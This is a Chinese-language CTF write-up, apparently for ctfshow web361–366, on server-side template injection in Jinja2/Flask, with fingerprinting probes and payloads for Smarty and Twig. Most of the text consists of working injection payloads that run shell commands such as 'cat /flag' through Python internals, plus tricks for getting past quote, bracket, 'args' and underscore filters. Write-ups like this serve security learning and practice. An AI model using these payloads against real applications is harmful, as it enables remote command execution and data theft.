前提
我们参考
jinja官方文档
flask之ssti模版注入从零到入门
SSTI模板注入绕过(进阶篇)
我们了解
代码块
1 | 变量块 {{}} 用于将表达式打印到模板输出 |
常用方法
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
常用的过滤器
1 |
|
这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
我们可以看到有红色剪头和绿色箭头,绿色是执行成功,红色是执行失败。
首先是注入
1 | ${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。 |
原文链接:https://blog.csdn.net/2301_76690905/article/details/134253961
49=49 为Twig模块 NaN,返回7777777表示jinja2模块Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)
1 | {if phpinfo()}{/if} |
Jinja2:
1 | Python2: |
1 | Python3: |
Twig:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
1 | #读取文件类,<type ‘file’> file位置一般为40,直接调用 |
web361
题目提示名字是注入点
我们get方式传name
1 | ?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
利用的是os._wrap_close类,得到flag
web362
题目提示过滤了
我们尝试了一下过滤了2、3等数字,os._wrap_close这个类没法使用
我们通过__global__
属性直接调用__builtins__
模块的eval函数
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} |
web363 -过滤単双引号
这题过滤了单引号和双引号
我们可以用
get传参方式绕过
1 | ?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag |
字符串拼接绕过(演示部分)
1 | (config.__str__()[2]) |
通过chr拼接
先找出chr函数,通过chr拼接
1 | ?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%} |
web364 -过滤args
这题过滤了args和单双引号
values 可以获取所有参数,从而绕过 args
1 | ?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag |
我们可以用cookie绕过
1 | ?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}} |
字符串构造
拼接
1 | "cla"+"ss" |
反转
1 | "__ssalc__"[::-1] |
但是实际上我发现其实加号是多余的,在jinjia2里面,”cla””ss”是等同于”class”的,也就是说我们可以这样引用class,并且绕过字符串过滤
1 | ""["__cla""ss__"] |
ascii转换
1 | "{0:c}".format(97)='a' |
编码绕过
1 | "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" |
利用chr函数
1 | 因为我们没法直接使用chr函数,所以需要通过__builtins__找到他 |
在jinja2里面可以利用~进行拼接
1 | {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} |
大小写转换
1 | ""["__CLASS__".lower()] |
利用过滤器
1 | ('__clas','s__')|join |
获取键值或下标
1 | dict['__builtins__'] |
获取属性
1 | ().__class__ |
字符串构造https://blog.csdn.net/miuzzx/article/details/110220425
web365 -过滤中括号
我们用fuzz字典跑一遍,发现过滤了单双引号、args、[]
方法一: values传参
1 | # values 没有被过滤 |
方法二:cookie传参
1 | # cookie 可以使用 |
方法三:字符串拼接
中括号可以拿点绕过或者__getitem__
等绕过都可以
通过__getitem__()
构造任意字符,比如
1 | ?name={{config.__str__().__getitem__(22)}} # 就是22 |
python脚本
1 | # anthor:秀儿 |
1 | ?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6) |
web366 -过滤了下划线
过滤了单双引号、args、中括号[]、下划线
传参绕过检测
values版
1 | ?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read |
因为后端只检测name传参的部分,所以其它部分就可以传入任意字符,和rce绕过一样
1 | ?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read |
cookie简化版
1 | ?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} |